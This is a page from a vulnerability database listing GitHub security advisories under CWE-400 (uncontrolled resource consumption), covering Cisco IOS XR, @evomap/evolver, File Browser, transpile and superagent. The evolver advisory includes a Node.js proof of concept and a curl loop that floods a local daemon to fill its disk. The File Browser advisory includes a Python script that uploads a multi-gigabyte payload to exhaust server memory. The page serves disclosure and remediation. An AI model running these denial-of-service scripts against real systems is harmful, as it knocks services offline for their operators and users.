Common Weakness Enumeration

CWE-400

Discouraged

Uncontrolled Resource Consumption

Abstraction: Class · Status: Draft

API response cwe.mitre.org

The product does not properly control the allocation and maintenance of a limited resource.

5486 vulnerabilities reference this CWE, most recent first.

GHSA-7XC2-HQ29-896Q

Vulnerability from github – Published: 2025-09-10 18:30 – Updated: 2025-09-10 18:30
VLAI
Details

A vulnerability in the Address Resolution Protocol (ARP) implementation of Cisco IOS XR Software could allow an unauthenticated, adjacent attacker to trigger a broadcast storm, leading to a denial of service (DoS) condition on an affected device. 

This vulnerability is due to how Cisco IOS XR Software processes a high, sustained rate of ARP traffic hitting the management interface. Under certain conditions, an attacker could exploit this vulnerability by sending an excessive amount of traffic to the management interface of an affected device, overwhelming its ARP processing capabilities. A successful exploit could result in degraded device performance, loss of management connectivity, and complete unresponsiveness of the system, leading to a DoS condition.

Severity
7.4 (High)
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-20340"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-10T16:15:36Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability in the Address Resolution Protocol (ARP) implementation of Cisco IOS XR Software could allow an unauthenticated, adjacent attacker to trigger a broadcast storm, leading to a denial of service (DoS) condition on an affected device.\u0026nbsp;\n\nThis vulnerability is due to how Cisco IOS XR Software processes a high, sustained rate of ARP traffic hitting the management interface. Under certain conditions, an attacker could exploit this vulnerability by sending an excessive amount of traffic to the management interface of an affected device, overwhelming its ARP processing capabilities. A successful exploit could result in degraded device performance, loss of management connectivity, and complete unresponsiveness of the system, leading to a DoS condition.",
  "id": "GHSA-7xc2-hq29-896q",
  "modified": "2025-09-10T18:30:15Z",
  "published": "2025-09-10T18:30:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-20340"
    },
    {
      "type": "WEB",
      "url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxr-arp-storm-EjUU55yM"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7XP7-M392-H92C

Vulnerability from github – Published: 2026-05-05 21:15 – Updated: 2026-05-05 21:15
VLAI
Summary
@evomap/evolver has an unbounded request body in proxy /asset/submit that causes persistent disk-exhaustion DoS
Details

Summary

The EvoMap proxy daemon's HTTP body parser accepts requests of any size, and the POST /asset/submit route persists the full request body — verbatim and uncapped — as a JSONL line in <dataDir>/messages.jsonl. An unauthenticated local attacker (other local user, container neighbor, or malicious npm postinstall script running on the same host) can repeatedly POST large bodies to fill the disk. On restart, the daemon synchronously reads the entire file via fs.readFileSync, making the OOM/crash persistent.

Details

1. Entry — unbounded body parser (src/proxy/server/http.js:9-21):

function parseBody(req) {
  return new Promise((resolve, reject) => {
    const chunks = [];
    req.on('data', c => chunks.push(c));
    req.on('end', () => {
      const raw = Buffer.concat(chunks).toString();
      if (!raw) return resolve({});
      try { resolve(JSON.parse(raw)); }
      catch (e) { reject(new Error('Invalid JSON body')); }
    });
    req.on('error', reject);
  });
}

There is no Content-Length validation and no cumulative-bytes cap on chunks.

2. Route — no schema or size validation (src/proxy/server/routes.js:75-85):

'POST /asset/submit': async ({ body }) => {
  if (!body.assets && !body.asset_id) {
    throw Object.assign(new Error('assets or asset_id is required'), { statusCode: 400 });
  }
  const result = store.send({
    type: 'asset_submit',
    payload: body,
    priority: body.priority || 'normal',
  });
  return { body: result };
}

The full body (including arbitrarily large body.assets[*].blob) is forwarded to store.send() as the message payload. POST /mailbox/send has the same shape.

3. Sink — unbounded JSONL append (src/proxy/mailbox/store.js):

// line 71-73
function appendLine(filePath, obj) {
  fs.appendFileSync(filePath, JSON.stringify(obj) + '\n', 'utf8');
}

// line 189-209: send() builds a message wrapping the payload and calls _appendMessage
// line 166-171: _appendMessage(msg) -> appendLine(this._messagesFile, msg)

Every /asset/submit or /mailbox/send request appends one JSONL line proportional in size to the request body. compact() (line 381) only re-writes existing messages; it does not drop or truncate large rows.

4. Persistence on restart (src/proxy/mailbox/store.js):

// line 75-86
function readLines(filePath) {
  if (!fs.existsSync(filePath)) return [];
  const content = fs.readFileSync(filePath, 'utf8');  // synchronous, full-file
  ...
}
// line 143-164: _rebuildIndex() called from constructor reads every line

A multi-GB messages.jsonl will OOM the daemon on every startup, making the DoS persistent across restarts.

5. Auth model (recon.json, confirmed by inspection of src/proxy/server/http.js:38 server.listen(port, '127.0.0.1', ...)):

"HTTP proxy has NO per-request auth (bound to 127.0.0.1 only) … No authentication on HTTP /mailbox, /asset, /task, /session, /dm routes."

Any local process can reach the daemon. Local-only access still admits multi-tenant dev hosts, sandboxes, containers sharing the host network namespace, and malicious npm dependency postinstall scripts.

6. Why not by-design. The mailbox is documented as a poll/ack message channel for short metadata. Sister code paths in the repo bound their writes (e.g. appendFailedCapsule with FAILED_CAPSULES_MAX = 200); the absence of any cap on the mailbox path is inconsistent.

PoC

Run from the repo root:

// poc-asset-submit.js
const http=require('http'),fs=require('fs'),os=require('os'),path=require('path');
const {MailboxStore}=require('./src/proxy/mailbox/store');
const {ProxyHttpServer}=require('./src/proxy/server/http');
const {buildRoutes}=require('./src/proxy/server/routes');
(async()=>{
  const dir=fs.mkdtempSync(path.join(os.tmpdir(),'poc-'));
  const store=new MailboxStore(dir);
  const handlers={assetFetch:async()=>({}),assetSearch:async()=>({}),assetValidate:async()=>({}),atpPost:async()=>({}),atpGet:async()=>({})};
  const srv=new ProxyHttpServer(buildRoutes(store,handlers,null,{}),{port:39922,logger:{log:()=>{},error:()=>{},warn:()=>{}}});
  await srv.start();
  const send=(mb)=>new Promise((res,rej)=>{
    const body='{"assets":[{"asset_id":"sha256:dead","blob":"'+'A'.repeat(mb*1024*1024)+'"}]}';
    const req=http.request({hostname:'127.0.0.1',port:39922,path:'/asset/submit',method:'POST',headers:{'Content-Type':'application/json','Content-Length':Buffer.byteLength(body)}},r=>{r.resume();r.on('end',res);});
    req.on('error',rej); req.write(body); req.end();
  });
  for(let i=0;i<3;i++){await send(10);console.log('messages.jsonl=',fs.statSync(path.join(dir,'messages.jsonl')).size,'bytes');}
  await srv.stop(); fs.rmSync(dir,{recursive:true});
})();

Verified output:

messages.jsonl= 10486078 bytes
messages.jsonl= 20972156 bytes
messages.jsonl= 31458234 bytes

Live exploitation against a running daemon (default port 19820):

printf '{"assets":[{"blob":"%s"}]}' "$(head -c 10485760 /dev/zero | tr '\0' A)" > /tmp/big.json
for i in $(seq 1 1000); do
  curl -s -X POST -H 'Content-Type: application/json' --data-binary @/tmp/big.json http://127.0.0.1:19820/asset/submit
done

<dataDir>/messages.jsonl grows by ~10 MiB per request with no upper bound. After ~N requests, the disk is full or the daemon OOMs on next restart while reading the file.

Impact

  • Disk exhaustion of <dataDir> filesystem (default ~/.evomap/mailbox/). Shared filesystems mean co-located services can crash too.
  • Persistent denial of service: on daemon restart, _rebuildIndex() synchronously reads the whole messages.jsonl via fs.readFileSync, OOM-killing the daemon. Operator must manually delete or truncate the file to recover.
  • Memory exhaustion during the attack: Buffer.concat(chunks).toString() materializes the entire body in memory, so large single requests can also OOM the live daemon before they hit disk.
  • Reachable from low-privilege local actors: malicious npm dependency postinstall scripts, other unprivileged users on shared dev hosts, processes in sibling containers sharing the host network namespace.

Recommended Fix

  1. Cap body size in parseBody() (src/proxy/server/http.js):
const MAX_BODY_BYTES = 1 * 1024 * 1024; // 1 MiB

function parseBody(req) {
  return new Promise((resolve, reject) => {
    const declared = Number(req.headers['content-length']);
    if (Number.isFinite(declared) && declared > MAX_BODY_BYTES) {
      const err = new Error('Request body too large');
      err.statusCode = 413;
      return reject(err);
    }
    const chunks = [];
    let received = 0;
    req.on('data', c => {
      received += c.length;
      if (received > MAX_BODY_BYTES) {
        const err = new Error('Request body too large');
        err.statusCode = 413;
        req.destroy();
        return reject(err);
      }
      chunks.push(c);
    });
    req.on('end', () => {
      const raw = Buffer.concat(chunks).toString();
      if (!raw) return resolve({});
      try { resolve(JSON.parse(raw)); }
      catch (e) { reject(new Error('Invalid JSON body')); }
    });
    req.on('error', reject);
  });
}

  1. Add a per-message payload-size budget in MailboxStore.send() / writeInbound() (src/proxy/mailbox/store.js) — reject messages whose serialized size exceeds e.g. 256 KiB, returning a 413 to the caller.

  2. Reject specifically large body.assets[*].blob / body.payload shapes in /asset/submit and /mailbox/send handlers in src/proxy/server/routes.js before calling store.send().

  3. (Defense in depth) In _rebuildIndex(), switch readLines() to a streaming line reader (readline.createInterface over fs.createReadStream) so a corrupt or oversized file degrades gracefully instead of OOM-ing on startup.

Severity
6.2 (Medium)
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.70.0-beta.4"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@evomap/evolver"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.70.0-beta.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T21:15:32Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe EvoMap proxy daemon\u0027s HTTP body parser accepts requests of any size, and the `POST /asset/submit` route persists the full request body \u2014 verbatim and uncapped \u2014 as a JSONL line in `\u003cdataDir\u003e/messages.jsonl`. An unauthenticated local attacker (other local user, container neighbor, or malicious npm postinstall script running on the same host) can repeatedly POST large bodies to fill the disk. On restart, the daemon synchronously reads the entire file via `fs.readFileSync`, making the OOM/crash persistent.\n\n## Details\n\n**1. Entry \u2014 unbounded body parser** (`src/proxy/server/http.js:9-21`):\n\n```js\nfunction parseBody(req) {\n  return new Promise((resolve, reject) =\u003e {\n    const chunks = [];\n    req.on(\u0027data\u0027, c =\u003e chunks.push(c));\n    req.on(\u0027end\u0027, () =\u003e {\n      const raw = Buffer.concat(chunks).toString();\n      if (!raw) return resolve({});\n      try { resolve(JSON.parse(raw)); }\n      catch (e) { reject(new Error(\u0027Invalid JSON body\u0027)); }\n    });\n    req.on(\u0027error\u0027, reject);\n  });\n}\n```\n\nThere is no Content-Length validation and no cumulative-bytes cap on `chunks`.\n\n**2. Route \u2014 no schema or size validation** (`src/proxy/server/routes.js:75-85`):\n\n```js\n\u0027POST /asset/submit\u0027: async ({ body }) =\u003e {\n  if (!body.assets \u0026\u0026 !body.asset_id) {\n    throw Object.assign(new Error(\u0027assets or asset_id is required\u0027), { statusCode: 400 });\n  }\n  const result = store.send({\n    type: \u0027asset_submit\u0027,\n    payload: body,\n    priority: body.priority || \u0027normal\u0027,\n  });\n  return { body: result };\n}\n```\n\nThe full `body` (including arbitrarily large `body.assets[*].blob`) is forwarded to `store.send()` as the message payload. `POST /mailbox/send` has the same shape.\n\n**3. Sink \u2014 unbounded JSONL append** (`src/proxy/mailbox/store.js`):\n\n```js\n// line 71-73\nfunction appendLine(filePath, obj) {\n  fs.appendFileSync(filePath, JSON.stringify(obj) + \u0027\\n\u0027, \u0027utf8\u0027);\n}\n\n// line 189-209: send() builds a message wrapping the payload and calls _appendMessage\n// line 166-171: _appendMessage(msg) -\u003e appendLine(this._messagesFile, msg)\n```\n\nEvery `/asset/submit` or `/mailbox/send` request appends one JSONL line proportional in size to the request body. `compact()` (line 381) only re-writes existing messages; it does not drop or truncate large rows.\n\n**4. Persistence on restart** (`src/proxy/mailbox/store.js`):\n\n```js\n// line 75-86\nfunction readLines(filePath) {\n  if (!fs.existsSync(filePath)) return [];\n  const content = fs.readFileSync(filePath, \u0027utf8\u0027);  // synchronous, full-file\n  ...\n}\n// line 143-164: _rebuildIndex() called from constructor reads every line\n```\n\nA multi-GB `messages.jsonl` will OOM the daemon on every startup, making the DoS persistent across restarts.\n\n**5. Auth model** (`recon.json`, confirmed by inspection of `src/proxy/server/http.js:38` `server.listen(port, \u0027127.0.0.1\u0027, ...)`):\n\n\u003e \"HTTP proxy has NO per-request auth (bound to 127.0.0.1 only) \u2026 No authentication on HTTP /mailbox, /asset, /task, /session, /dm routes.\"\n\nAny local process can reach the daemon. Local-only access still admits multi-tenant dev hosts, sandboxes, containers sharing the host network namespace, and malicious npm dependency postinstall scripts.\n\n**6. Why not by-design.** The mailbox is documented as a poll/ack message channel for short metadata. Sister code paths in the repo bound their writes (e.g. `appendFailedCapsule` with `FAILED_CAPSULES_MAX = 200`); the absence of any cap on the mailbox path is inconsistent.\n\n## PoC\n\nRun from the repo root:\n\n```js\n// poc-asset-submit.js\nconst http=require(\u0027http\u0027),fs=require(\u0027fs\u0027),os=require(\u0027os\u0027),path=require(\u0027path\u0027);\nconst {MailboxStore}=require(\u0027./src/proxy/mailbox/store\u0027);\nconst {ProxyHttpServer}=require(\u0027./src/proxy/server/http\u0027);\nconst {buildRoutes}=require(\u0027./src/proxy/server/routes\u0027);\n(async()=\u003e{\n  const dir=fs.mkdtempSync(path.join(os.tmpdir(),\u0027poc-\u0027));\n  const store=new MailboxStore(dir);\n  const handlers={assetFetch:async()=\u003e({}),assetSearch:async()=\u003e({}),assetValidate:async()=\u003e({}),atpPost:async()=\u003e({}),atpGet:async()=\u003e({})};\n  const srv=new ProxyHttpServer(buildRoutes(store,handlers,null,{}),{port:39922,logger:{log:()=\u003e{},error:()=\u003e{},warn:()=\u003e{}}});\n  await srv.start();\n  const send=(mb)=\u003enew Promise((res,rej)=\u003e{\n    const body=\u0027{\"assets\":[{\"asset_id\":\"sha256:dead\",\"blob\":\"\u0027+\u0027A\u0027.repeat(mb*1024*1024)+\u0027\"}]}\u0027;\n    const req=http.request({hostname:\u0027127.0.0.1\u0027,port:39922,path:\u0027/asset/submit\u0027,method:\u0027POST\u0027,headers:{\u0027Content-Type\u0027:\u0027application/json\u0027,\u0027Content-Length\u0027:Buffer.byteLength(body)}},r=\u003e{r.resume();r.on(\u0027end\u0027,res);});\n    req.on(\u0027error\u0027,rej); req.write(body); req.end();\n  });\n  for(let i=0;i\u003c3;i++){await send(10);console.log(\u0027messages.jsonl=\u0027,fs.statSync(path.join(dir,\u0027messages.jsonl\u0027)).size,\u0027bytes\u0027);}\n  await srv.stop(); fs.rmSync(dir,{recursive:true});\n})();\n```\n\nVerified output:\n```\nmessages.jsonl= 10486078 bytes\nmessages.jsonl= 20972156 bytes\nmessages.jsonl= 31458234 bytes\n```\n\nLive exploitation against a running daemon (default port 19820):\n```\nprintf \u0027{\"assets\":[{\"blob\":\"%s\"}]}\u0027 \"$(head -c 10485760 /dev/zero | tr \u0027\\0\u0027 A)\" \u003e /tmp/big.json\nfor i in $(seq 1 1000); do\n  curl -s -X POST -H \u0027Content-Type: application/json\u0027 --data-binary @/tmp/big.json http://127.0.0.1:19820/asset/submit\ndone\n```\n\n`\u003cdataDir\u003e/messages.jsonl` grows by ~10 MiB per request with no upper bound. After ~N requests, the disk is full or the daemon OOMs on next restart while reading the file.\n\n## Impact\n\n- **Disk exhaustion** of `\u003cdataDir\u003e` filesystem (default `~/.evomap/mailbox/`). Shared filesystems mean co-located services can crash too.\n- **Persistent denial of service**: on daemon restart, `_rebuildIndex()` synchronously reads the whole `messages.jsonl` via `fs.readFileSync`, OOM-killing the daemon. Operator must manually delete or truncate the file to recover.\n- **Memory exhaustion** during the attack: `Buffer.concat(chunks).toString()` materializes the entire body in memory, so large single requests can also OOM the live daemon before they hit disk.\n- **Reachable from low-privilege local actors**: malicious npm dependency postinstall scripts, other unprivileged users on shared dev hosts, processes in sibling containers sharing the host network namespace.\n\n## Recommended Fix\n\n1. Cap body size in `parseBody()` (`src/proxy/server/http.js`):\n\n```js\nconst MAX_BODY_BYTES = 1 * 1024 * 1024; // 1 MiB\n\nfunction parseBody(req) {\n  return new Promise((resolve, reject) =\u003e {\n    const declared = Number(req.headers[\u0027content-length\u0027]);\n    if (Number.isFinite(declared) \u0026\u0026 declared \u003e MAX_BODY_BYTES) {\n      const err = new Error(\u0027Request body too large\u0027);\n      err.statusCode = 413;\n      return reject(err);\n    }\n    const chunks = [];\n    let received = 0;\n    req.on(\u0027data\u0027, c =\u003e {\n      received += c.length;\n      if (received \u003e MAX_BODY_BYTES) {\n        const err = new Error(\u0027Request body too large\u0027);\n        err.statusCode = 413;\n        req.destroy();\n        return reject(err);\n      }\n      chunks.push(c);\n    });\n    req.on(\u0027end\u0027, () =\u003e {\n      const raw = Buffer.concat(chunks).toString();\n      if (!raw) return resolve({});\n      try { resolve(JSON.parse(raw)); }\n      catch (e) { reject(new Error(\u0027Invalid JSON body\u0027)); }\n    });\n    req.on(\u0027error\u0027, reject);\n  });\n}\n```\n\n2. Add a per-message payload-size budget in `MailboxStore.send()` / `writeInbound()` (`src/proxy/mailbox/store.js`) \u2014 reject messages whose serialized size exceeds e.g. 256 KiB, returning a 413 to the caller.\n\n3. Reject specifically large `body.assets[*].blob` / `body.payload` shapes in `/asset/submit` and `/mailbox/send` handlers in `src/proxy/server/routes.js` before calling `store.send()`.\n\n4. (Defense in depth) In `_rebuildIndex()`, switch `readLines()` to a streaming line reader (`readline.createInterface` over `fs.createReadStream`) so a corrupt or oversized file degrades gracefully instead of OOM-ing on startup.",
  "id": "GHSA-7xp7-m392-h92c",
  "modified": "2026-05-05T21:15:32Z",
  "published": "2026-05-05T21:15:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/EvoMap/evolver/security/advisories/GHSA-7xp7-m392-h92c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/EvoMap/evolver"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@evomap/evolver has an unbounded request body in proxy /asset/submit that causes persistent disk-exhaustion DoS"
}

GHSA-7XQM-7738-642X

Vulnerability from github – Published: 2025-07-16 14:22 – Updated: 2025-07-29 23:27
VLAI
Summary
File Browser's Uncontrolled Memory Consumption vulnerability can enable DoS attack due to oversized file processing
Details

Summary

A Denial of Service (DoS) vulnerability exists in the file processing logic when reading a file on endpoint Filebrowser-Server-IP:PORT/files/{file-name} . While the server correctly handles and stores uploaded files, it attempts to load the entire content into memory during read operations without size checks or resource limits. This allows an authenticated user to upload a large file and trigger uncontrolled memory consumption on read, potentially crashing the server and making it unresponsive.

Details

The endpoint /api/resources/{file-name} accepts PUT requests with plain text file content. Uploading an extremely large file (e.g., ~1.5 GB) succeeds without issue. However, when the server attempts to open and read this file, it performs the read operation in an unbounded or inefficient way, leading to excessive memory usage.

This approach attempts to read the entire file into memory at once. For large files, this causes memory exhaustion resulting in a crash or serious performance degradation. In the filebrowser codebase, this can be due to: - Lack of memory-safe streaming or chunked reading during file processing. - Absence of validation or size limits during the read phase. - Possibly synchronous or blocking file parsing without protection.

PoC

  1. I run the project via docker (latest version, 2.38.0) using the following command found in the documentation:
docker run \
    -v filebrowser_data:/srv \
    -v filebrowser_database:/database \
    -v filebrowser_config:/config \
    -p 8080:80 \
    filebrowser/filebrowser```
  1. First login in your filebrowser and create a simple empty file eg. name it another
  2. We will add a large data into this file via PUT method on the api by running the following Python script (as an exploit PoC script)
import requests

url = "http://filebrowser-server-IP:8080/api/resources/another"
auth_token = "eyJh-auth-token-goes-here"
headers = {
    "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:139.0) Gecko/20100101 Firefox/139.0",
    "Accept": "*/*",
    "Accept-Language": "en-US,en;q=0.5",
    "Accept-Encoding": "gzip, deflate, br",
    "Referer": "http://filebrowser-server-IP:8080/files/another",
    "X-Auth": auth_token,
    "Content-Type": "text/plain;charset=UTF-8",
    "Origin": "http://filebrowser-server-IP:8080",
    "Connection": "close",
    "Priority": "u=0"
}

# Generate a very large string into a file (e.g 1.6 GB)

base = "testing data goes here\n"
repeat_count = 120_000_000  

data = base * repeat_count

print("Sending large payload...")
response = requests.put(url, headers=headers, data=data)

# Output the response
print(f"Status Code: {response.status_code}")
print("Response Body:")
print(response.text)
  1. After running this script, go back in your filebrowser dashboard and try to open the file another - try to read the content in this file. The file will open on another tab and it will hang there consuming memory and resources. The entire server will remain unresponsive until the entire file loads (takes long time)

Impact

Denial of Service

Evidence

Pasted image (4)

Pasted image (2)

Severity
7.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/filebrowser/filebrowser/v2"
      },
      "versions": [
        "2.38.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2025-53893"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-07-16T14:22:36Z",
    "nvd_published_at": "2025-07-15T18:15:24Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA Denial of Service (DoS) vulnerability exists in the file processing logic when reading a file on endpoint  `Filebrowser-Server-IP:PORT/files/{file-name}` . While the server correctly handles and stores uploaded files, it attempts to load the entire content into memory during read operations without size checks or resource limits. This allows an authenticated user to upload a large file and trigger uncontrolled memory consumption on read, potentially crashing the server and making it unresponsive.\n\n### Details\n\nThe endpoint ` /api/resources/{file-name}` accepts `PUT` requests with plain text file content. Uploading an extremely large file (e.g., ~1.5 GB) succeeds without issue. However, when the server attempts to open and read this file, it performs the read operation in an unbounded or inefficient way, leading to excessive memory usage.\n\nThis approach attempts to read the entire file into memory at once. For large files, this causes memory exhaustion resulting in a crash or serious performance degradation. In the filebrowser codebase, this can be due to:\n- Lack of memory-safe streaming or chunked reading during file processing.\n- Absence of validation or size limits during the read phase.\n- Possibly synchronous or blocking file parsing without protection.\n\n### PoC\n0. I run the project via docker (latest version, 2.38.0) using the following command found in the documentation:\n\n```\ndocker run \\\n    -v filebrowser_data:/srv \\\n    -v filebrowser_database:/database \\\n    -v filebrowser_config:/config \\\n    -p 8080:80 \\\n    filebrowser/filebrowser```\n```\n\n1. First login in your filebrowser and create a simple empty file eg. name it `another`\n2. We will add a large data into this file via `PUT` method on the api by running the following `Python` script (as an exploit PoC script)\n\n```python\nimport requests\n\nurl = \"http://filebrowser-server-IP:8080/api/resources/another\"\nauth_token = \"eyJh-auth-token-goes-here\"\nheaders = {\n    \"User-Agent\": \"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:139.0) Gecko/20100101 Firefox/139.0\",\n    \"Accept\": \"*/*\",\n    \"Accept-Language\": \"en-US,en;q=0.5\",\n    \"Accept-Encoding\": \"gzip, deflate, br\",\n    \"Referer\": \"http://filebrowser-server-IP:8080/files/another\",\n    \"X-Auth\": auth_token,\n    \"Content-Type\": \"text/plain;charset=UTF-8\",\n    \"Origin\": \"http://filebrowser-server-IP:8080\",\n    \"Connection\": \"close\",\n    \"Priority\": \"u=0\"\n}\n\n# Generate a very large string into a file (e.g 1.6 GB)\n\nbase = \"testing data goes here\\n\"\nrepeat_count = 120_000_000  \n\ndata = base * repeat_count\n\nprint(\"Sending large payload...\")\nresponse = requests.put(url, headers=headers, data=data)\n\n# Output the response\nprint(f\"Status Code: {response.status_code}\")\nprint(\"Response Body:\")\nprint(response.text)\n```\n\n3. After running this script, go back in your filebrowser dashboard and try to open the file `another` - try to read the content in this file. The file will open on another tab and it will hang there consuming memory and resources. The entire server will remain unresponsive until the entire file loads (takes long time)\n\n\n### Impact\nDenial of Service\n\n### Evidence\n\u003cimg width=\"2191\" height=\"350\" alt=\"Pasted image (4)\" src=\"https://github.com/user-attachments/assets/98af76ad-0714-40a9-a92b-b2d4a5941ab7\" /\u003e\n\n\n\u003cimg width=\"2012\" height=\"1039\" alt=\"Pasted image (2)\" src=\"https://github.com/user-attachments/assets/d1ba3282-6c4d-4d35-81c7-87d4e0274f85\" /\u003e",
  "id": "GHSA-7xqm-7738-642x",
  "modified": "2025-07-29T23:27:20Z",
  "published": "2025-07-16T14:22:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-7xqm-7738-642x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53893"
    },
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/issues/5294"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/filebrowser/filebrowser"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "File Browser\u0027s Uncontrolled Memory Consumption vulnerability can enable DoS attack due to oversized file processing"
}

GHSA-7XRJ-F5RP-J55H

Vulnerability from github – Published: 2021-09-02 17:10 – Updated: 2021-08-25 19:32
VLAI
Summary
Uncontrolled Resource Consumption in transpile
Details

All versions of package transpile are vulnerable to Denial of Service (DoS) due to a lack of input sanitization or whitelisting, coupled with improper exception handling in the .to() function.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "transpile"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.7.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-23429"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-755"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-08-25T19:32:59Z",
    "nvd_published_at": "2021-08-24T08:15:00Z",
    "severity": "MODERATE"
  },
  "details": "All versions of package transpile are vulnerable to Denial of Service (DoS) due to a lack of input sanitization or whitelisting, coupled with improper exception handling in the .to() function.",
  "id": "GHSA-7xrj-f5rp-j55h",
  "modified": "2021-08-25T19:32:59Z",
  "published": "2021-09-02T17:10:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23429"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/stealjs/transpile"
    },
    {
      "type": "WEB",
      "url": "https://github.com/stealjs/transpile/blob/56aaeb26f69496e45a60c03dc92653d53021d4ac/main.js%23L53"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-TRANSPILE-1290774"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Uncontrolled Resource Consumption in transpile"
}

GHSA-7XVJ-WJVR-57C5

Vulnerability from github – Published: 2022-05-24 19:18 – Updated: 2022-10-27 19:00
VLAI
Details

The affected product does not properly control the allocation of resources. A user may be able to allocate unlimited memory buffers using API functions.

Severity
8.1 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-38463"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-10-22T12:15:00Z",
    "severity": "HIGH"
  },
  "details": "The affected product does not properly control the allocation of resources. A user may be able to allocate unlimited memory buffers using API functions.",
  "id": "GHSA-7xvj-wjvr-57c5",
  "modified": "2022-10-27T19:00:32Z",
  "published": "2022-05-24T19:18:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-38463"
    },
    {
      "type": "WEB",
      "url": "https://us-cert.cisa.gov/ics/advisories/icsa-21-292-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8225-6CVR-8PQP

Vulnerability from github – Published: 2018-08-09 20:13 – Updated: 2023-09-08 23:55
VLAI
Summary
superagent vulnerable to zip bomb attacks
Details

Affected versions of superagent do not check the post-decompression size of ZIP compressed HTTP responses prior to decompressing. This results in the package being vulnerable to a ZIP bomb attack, where an extremely small ZIP file becomes many orders of magnitude larger when decompressed.

This may result in unrestrained CPU/Memory/Disk consumption, causing a denial of service condition.

Recommendation

Update to version 3.7.0 or later.

Severity
5.9 (Medium)
CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "superagent"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2017-16129"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-16T21:23:56Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
